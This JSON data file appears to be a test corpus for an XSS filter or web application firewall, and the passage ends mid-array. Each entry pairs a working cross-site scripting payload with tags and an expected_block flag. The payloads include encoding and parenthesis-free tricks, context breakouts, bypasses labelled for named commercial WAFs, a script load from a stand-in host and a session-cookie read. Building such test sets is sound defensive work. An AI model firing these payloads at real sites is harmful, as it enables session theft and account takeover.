[
  {
      "id": "XSS-FILT-120",
      "payload": "+ADw-script+AD4-alert(1)+ADw-/script+AD4-",
      "tags": [
        "filter-bypass",
        "utf-7",
        "encoding",
        "quick"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Filter bypass via UTF-7 encoding",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-121",
      "payload": "<script>\\u0061\\u006c\\u0065\\u0072\\u0074(1)</script>",
      "tags": [
        "filter-bypass",
        "unicode-escape",
        "encoding"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Filter bypass via Unicode escape sequences",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-122",
      "payload": "<script>\\x61\\x6c\\x65\\x72\\x74(1)</script>",
      "tags": [
        "filter-bypass",
        "hex-escape",
        "encoding"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Filter bypass via hex escape sequences",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-123",
      "payload": "<script>eval('\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29')</script>",
      "tags": [
        "filter-bypass",
        "eval",
        "hex"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Filter bypass via eval with hex encoding",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-124",
      "payload": "<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>",
      "tags": [
        "filter-bypass",
        "fromCharCode",
        "encoding"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Filter bypass via String.fromCharCode",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-125",
      "payload": "<script>eval(atob('YWxlcnQoMSk='))</script>",
      "tags": [
        "filter-bypass",
        "base64",
        "atob"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Filter bypass via Base64 decoding (atob)",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-126",
      "payload": "&#60;script&#62;alert(1)&#60;/script&#62;",
      "tags": [
        "filter-bypass",
        "html-entities",
        "decimal",
        "quick"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Filter bypass via decimal HTML entities",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-127",
      "payload": "&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;",
      "tags": [
        "filter-bypass",
        "html-entities",
        "hex"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Filter bypass via hexadecimal HTML entities",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-128",
      "payload": "<ScRiPt>alert(1)</sCrIpT>",
      "tags": [
        "filter-bypass",
        "mixed-case",
        "quick"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Filter bypass via mixed case tag names",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-129",
      "payload": "<script>a\\u006cert(1)</script>",
      "tags": [
        "filter-bypass",
        "partial-unicode"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Filter bypass via partial Unicode in function name",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-130",
      "payload": "<img src=x onerror=\"&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;\">",
      "tags": [
        "filter-bypass",
        "attribute",
        "entities"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Filter bypass via HTML entities in attribute",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-131",
      "payload": "<img src=x onerror='\\u0061\\u006c\\u0065\\u0072\\u0074(1)'>",
      "tags": [
        "filter-bypass",
        "attribute",
        "unicode"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Filter bypass via Unicode in attribute value",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-132",
      "payload": "<script>/**/alert(1)/**/</script>",
      "tags": [
        "filter-bypass",
        "comment",
        "whitespace"
    ],
      "expected_block": true,
      "severity_hint": "Medium",
      "notes": "Filter bypass via comments as whitespace",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-133",
      "payload": "<svg><script>alert&#40;1&#41;</script></svg>",
      "tags": [
        "filter-bypass",
        "svg",
        "entities"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Filter bypass via HTML entities in SVG",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-134",
      "payload": "<img src=x onerror=alert`1`>",
      "tags": [
        "filter-bypass",
        "template-literal",
        "backtick"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Filter bypass via ES6 template literal syntax",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-135",
      "payload": "<svg/onload=alert(1)>",
      "tags": ["filter-bypass", "svg", "no-space"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "No space between tag and attribute",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-136",
      "payload": "<svg\tonload=alert(1)>",
      "tags": ["filter-bypass", "tab", "whitespace"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Tab character as separator",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-137",
      "payload": "<svg\nonload=alert(1)>",
      "tags": ["filter-bypass", "newline", "whitespace"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Newline as attribute separator",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-138",
      "payload": "<svg\ronload=alert(1)>",
      "tags": ["filter-bypass", "carriage-return", "whitespace"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Carriage return as separator",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-139",
      "payload": "<svg\u000Conload=alert(1)>",
      "tags": ["filter-bypass", "form-feed", "whitespace"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Form feed character (0x0C) as separator",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-140",
      "payload": "<img src=x onerror\u000B=alert(1)>",
      "tags": ["filter-bypass", "vertical-tab"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Vertical tab before equals sign",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-141",
      "payload": "<img src=1 onerror\u0000=alert(1)>",
      "tags": ["filter-bypass", "null-byte"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Null byte before equals in attribute",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-142",
      "payload": "<%00script>alert(1)</script>",
      "tags": ["filter-bypass", "null-byte", "tag"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Null byte after opening bracket",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-143",
      "payload": "<script>onerror=alert;throw 1</script>",
      "tags": ["filter-bypass", "throw", "onerror"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Parenthesis bypass via throw/onerror",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-144",
      "payload": "<script>{onerror=alert}throw 1</script>",
      "tags": ["filter-bypass", "throw", "block"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Block statement throw bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-145",
      "payload": "<script>throw onerror=alert,'some string',123,'haha'</script>",
      "tags": ["filter-bypass", "throw", "comma"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Comma operator in throw statement",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-146",
      "payload": "<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>",
      "tags": ["filter-bypass", "prototype", "advanced"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Prototype pollution for XSS",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-147",
      "payload": "<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>",
      "tags": ["filter-bypass", "advanced", "regex"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Complex throw bypass with URL object",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-148",
      "payload": "eval('ale'+'rt(0)')",
      "tags": ["filter-bypass", "concat", "eval"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "String concatenation bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-149",
      "payload": "Function('ale'+'rt(1)')()",
      "tags": ["filter-bypass", "Function", "constructor"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Function constructor bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-150",
      "payload": "new Function`al\\ert\\`6\\``",
      "tags": ["filter-bypass", "template", "constructor"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Template literal Function constructor",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-151",
      "payload": "setTimeout('ale'+'rt(2)')",
      "tags": ["filter-bypass", "setTimeout", "concat"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "setTimeout string concat bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-152",
      "payload": "setInterval('ale'+'rt(10)')",
      "tags": ["filter-bypass", "setInterval", "concat"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "setInterval string concat bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-153",
      "payload": "Set.constructor('ale'+'rt(13)')()",
      "tags": ["filter-bypass", "Set", "constructor"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Set constructor bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-154",
      "payload": "Set.constructor`al\\x65rt\\x2814\\x29```",
      "tags": ["filter-bypass", "hex", "template"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Set constructor hex escape template",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-155",
      "payload": "window['alert'](0)",
      "tags": ["filter-bypass", "bracket", "notation"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Bracket notation for function call",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-156",
      "payload": "parent['alert'](1)",
      "tags": ["filter-bypass", "parent", "bracket"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Parent window bracket access",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-157",
      "payload": "self['alert'](2)",
      "tags": ["filter-bypass", "self", "bracket"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Self reference bracket access",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-158",
      "payload": "top['alert'](3)",
      "tags": ["filter-bypass", "top", "bracket"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Top window bracket access",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-159",
      "payload": "this['alert'](4)",
      "tags": ["filter-bypass", "this", "bracket"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "This reference bracket access",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-160",
      "payload": "frames['alert'](5)",
      "tags": ["filter-bypass", "frames", "bracket"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Frames object bracket access",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-161",
      "payload": "content['alert'](6)",
      "tags": ["filter-bypass", "content", "bracket"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Content window bracket access",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-162",
      "payload": "[7].map(alert)",
      "tags": ["filter-bypass", "array", "map"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Array map to call alert",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-163",
      "payload": "[8].find(alert)",
      "tags": ["filter-bypass", "array", "find"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Array find to call alert",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-164",
      "payload": "[9].every(alert)",
      "tags": ["filter-bypass", "array", "every"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Array every to call alert",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-165",
      "payload": "[10].filter(alert)",
      "tags": ["filter-bypass", "array", "filter"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Array filter to call alert",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-166",
      "payload": "[11].findIndex(alert)",
      "tags": ["filter-bypass", "array", "findIndex"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Array findIndex to call alert",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-167",
      "payload": "[12].forEach(alert)",
      "tags": ["filter-bypass", "array", "forEach"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Array forEach to call alert",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-168",
      "payload": "top[8680439..toString(30)](7)",
      "tags": ["filter-bypass", "radix", "obfuscation"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Number toString radix bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-169",
      "payload": "top[/al/.source+/ert/.source](8)",
      "tags": ["filter-bypass", "regex", "source"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Regex source concatenation",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-170",
      "payload": "top['al\\x65rt'](9)",
      "tags": ["filter-bypass", "hex", "escape"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Hex escape in string",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-171",
      "payload": "prompt`${document.domain}`",
      "tags": ["filter-bypass", "template", "tagged"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Tagged template literal",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-172",
      "payload": "document.location='java\\tscript:alert(1)'",
      "tags": ["filter-bypass", "tab", "javascript"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Tab in javascript protocol",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-173",
      "payload": "document.location='java\\rscript:alert(1)'",
      "tags": ["filter-bypass", "carriage-return", "javascript"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Carriage return in javascript protocol",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-174",
      "payload": "document.location='java\\nscript:alert(1)'",
      "tags": ["filter-bypass", "newline", "javascript"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Newline in javascript protocol",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-175",
      "payload": "open('java'+'script:ale'+'rt(11)')",
      "tags": ["filter-bypass", "open", "concat"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Window.open with concatenation",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-176",
      "payload": "location='javascript:ale'+'rt(12)'",
      "tags": ["filter-bypass", "location", "concat"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Location assignment with concat",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-177",
      "payload": "setTimeout`alert\\u0028document.domain\\u0029`",
      "tags": ["filter-bypass", "template", "unicode"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "setTimeout template with unicode",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-178",
      "payload": "[].filter.constructor('ale'+'rt(4)')()",
      "tags": ["filter-bypass", "constructor", "array"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Array filter constructor",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-179",
      "payload": "<div id=x></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>",
      "tags": ["filter-bypass", "document", "dom"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Document blacklist bypass via DOM traversal",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-180",
      "payload": "window['doc'+'ument']",
      "tags": ["filter-bypass", "document", "concat"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Document access via concatenation",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-181",
      "payload": "window.cookieStore.get('session').then((c)=>{alert(c.value)})",
      "tags": ["filter-bypass", "cookieStore", "api"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "CookieStore API bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-182",
      "payload": "<svg onload=alert(1)//",
      "tags": ["filter-bypass", "unclosed", "svg"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "No closing bracket needed",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-183",
      "payload": "＜script/src=//evil.site/poc.js＞",
      "tags": ["filter-bypass", "fullwidth", "unicode"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Fullwidth Unicode less/greater than",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-184",
      "payload": "'te' * alert('*') * 'xt'",
      "tags": ["filter-bypass", "semicolon", "operator"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Semicolon bypass with multiplication",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-185",
      "payload": "'te' , alert(',') , 'xt'",
      "tags": ["filter-bypass", "semicolon", "comma"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Semicolon bypass with comma operator",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-186",
      "payload": "'te' ? alert('ifelse') : 'xt'",
      "tags": ["filter-bypass", "semicolon", "ternary"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Semicolon bypass with ternary",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-187",
      "payload": "'te' in alert('in') in 'xt'",
      "tags": ["filter-bypass", "semicolon", "in"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Semicolon bypass with in operator",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-188",
      "payload": "%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE",
      "tags": ["filter-bypass", "utf-8", "overlong"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "UTF-8 overlong encoding bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-189",
      "payload": "%E0%80%BCscript%E0%80%BEalert(1)%E0%80%BC/script%E0%80%BE",
      "tags": ["filter-bypass", "utf-8", "three-byte"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "UTF-8 three-byte overlong encoding",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-190",
      "payload": "%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00",
      "tags": ["filter-bypass", "utf-16be"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "UTF-16BE encoding bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-191",
      "payload": "%fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E",
      "tags": ["filter-bypass", "bom", "utf-16"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "BOM UTF-16 bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-192",
      "payload": "javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()",
      "tags": ["filter-bypass", "katakana", "jsfuck"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Katakana JS bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-193",
      "payload": "<object onafterscriptexecute=confirm(0)>",
      "tags": ["filter-bypass", "object", "event"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Less known event handler",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-194",
      "payload": "<object onbeforescriptexecute=confirm(0)>",
      "tags": ["filter-bypass", "object", "event"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Before script execute event",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-195",
      "payload": "<img src='1' onerror/=alert(0) />",
      "tags": ["filter-bypass", "slash", "attribute"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Slash before equals bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-196",
      "payload": "<img/src='1'/onerror=alert(0)>",
      "tags": ["filter-bypass", "slash", "separator"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Slash as space replacement",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-197",
      "payload": "<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>",
      "tags": ["filter-bypass", "html-entity", "ecmascript6"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "HTML entity grave accent ES6",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-198",
      "payload": "javascript:'\\74\\163\\166\\147\\40\\157\\156\\154\\157\\141\\144\\75\\141\\154\\145\\162\\164\\50\\61\\51\\76'",
      "tags": ["filter-bypass", "octal", "encoding"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Octal encoding bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-199",
      "payload": "\"><svg/onload=alert(1)>",
      "tags": ["filter-bypass", "attribute-escape", "quick"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Double quote attribute escape",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-200",
      "payload": "'><svg/onload=alert(1)>",
      "tags": ["filter-bypass", "attribute-escape", "quick"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Single quote attribute escape",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-201",
      "payload": "\"><img src=x onerror=alert(1)>",
      "tags": ["filter-bypass", "breakout", "quick"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Quote breakout with img",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-202",
      "payload": "</script><script>alert(1)</script>",
      "tags": ["filter-bypass", "script-escape"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Script context escape",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-203",
      "payload": "'-alert(1)-'",
      "tags": ["filter-bypass", "string-context"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "String context injection",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-204",
      "payload": "\\'-alert(1)//",
      "tags": ["filter-bypass", "escape-escape"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Escaping the escape character",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-205",
      "payload": "</title><script>alert(1)</script>",
      "tags": ["filter-bypass", "title-escape"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Title tag escape",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-206",
      "payload": "</textarea><script>alert(1)</script>",
      "tags": ["filter-bypass", "textarea-escape"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Textarea escape",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-207",
      "payload": "</style><script>alert(1)</script>",
      "tags": ["filter-bypass", "style-escape"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Style tag escape",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-208",
      "payload": "<!--><script>alert(1)</script>-->",
      "tags": ["filter-bypass", "comment"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "HTML comment bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-209",
      "payload": "<![CDATA[><script>alert(1)</script>]]>",
      "tags": ["filter-bypass", "cdata", "xml"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "CDATA section bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-210",
      "payload": "<x]><script>alert(1)</script>",
      "tags": ["filter-bypass", "malformed"],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "Malformed tag bypass",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-211",
      "payload": "<svg/onrandom=random onload=confirm(1)>",
      "tags": ["waf-bypass", "cloudflare", "onrandom"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Cloudflare WAF bypass via random event handler",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-212",
      "payload": "<video onnull=null onmouseover=confirm(1)>",
      "tags": ["waf-bypass", "cloudflare", "onnull"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Cloudflare WAF bypass via null event handler",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-213",
      "payload": "<svg/OnLoad=\"`${prompt``}`\">",
      "tags": ["waf-bypass", "cloudflare", "template-literal"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Cloudflare WAF bypass via template literal",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-214",
      "payload": "<svg/onload=%26nbsp;alert`bohdan`+",
      "tags": ["waf-bypass", "cloudflare", "nbsp"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Cloudflare WAF bypass via HTML entity space",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-215",
      "payload": "1'\"><img/src/onerror=.1|alert``>",
      "tags": ["waf-bypass", "cloudflare", "bitwise"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Cloudflare WAF bypass via bitwise OR",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-216",
      "payload": "<svg onload=prompt%26%230000000040document.domain)>",
      "tags": ["waf-bypass", "cloudflare", "encoded-paren"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Cloudflare WAF bypass via encoded parenthesis",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-217",
      "payload": "<svg onload=prompt%26%23x000000028;document.domain)>",
      "tags": ["waf-bypass", "cloudflare", "hex-encoded"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Cloudflare WAF bypass via hex encoded paren",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-218",
      "payload": "xss'\"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>",
      "tags": ["waf-bypass", "cloudflare", "srcdoc"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Cloudflare WAF bypass via iframe srcdoc",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-219",
      "payload": "<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f",
      "tags": ["waf-bypass", "cloudflare", "mixed-entities"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Cloudflare WAF bypass via mixed HTML entities",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-220",
      "payload": "<a href=\"j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;\">X</a>",
      "tags": ["waf-bypass", "cloudflare", "tab-entities"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Cloudflare WAF bypass via Tab and NewLine entities",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-221",
      "payload": "<svg onload\\r\\n=$.globalEval(\"al\"+\"ert()\");>",
      "tags": ["waf-bypass", "incapsula", "newline"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Incapsula WAF bypass via CRLF in event handler",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-222",
      "payload": "anythinglr00</script><script>alert(document.domain)</script>uxldz",
      "tags": ["waf-bypass", "incapsula", "script-break"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Incapsula WAF bypass via script tag injection",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-223",
      "payload": "anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz",
      "tags": ["waf-bypass", "incapsula", "url-encoded"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Incapsula WAF bypass URL encoded script tags",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-224",
      "payload": "?\"></script><base%20c%3D=href%3Dhttps:\\mysite>",
      "tags": ["waf-bypass", "akamai", "base-tag"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Akamai WAF bypass via base tag injection",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-225",
      "payload": "<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>",
      "tags": ["waf-bypass", "akamai", "newline-mixed"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Akamai WAF bypass via mixed case and newlines",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-226",
      "payload": "<a href=javas&#99;ript:alert(1)>",
      "tags": ["waf-bypass", "wordfence", "encoded-js"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "WordFence WAF bypass via encoded javascript",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-227",
      "payload": "\\u003e\\u003c\\u0068\\u0031 onclick=alert('1')\\u003e",
      "tags": ["waf-bypass", "fortiweb", "unicode-escape"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Fortiweb WAF bypass via Unicode escapes",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-228",
      "payload": "<script>onerror=alert;throw 1337</script>",
      "tags": ["filter-bypass", "no-parenthesis", "throw"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Parenthesis bypass via onerror throw",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-229",
      "payload": "<script>{onerror=alert}throw 1337</script>",
      "tags": ["filter-bypass", "no-parenthesis", "block"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Parenthesis bypass via block statement",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-230",
      "payload": "<script>throw onerror=alert,'some string',123,'haha'</script>",
      "tags": ["filter-bypass", "no-parenthesis", "comma-throw"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Parenthesis bypass via comma operator throw",
      "category": "XSS"
  },
  {
      "id": "XSS-FILT-231",
      "payload": "<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>",
      "tags": ["filter-bypass", "no-parenthesis", "regex-throw"],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Advanced parenthesis bypass via regex throw",
      "category": "XSS"
  },
  {
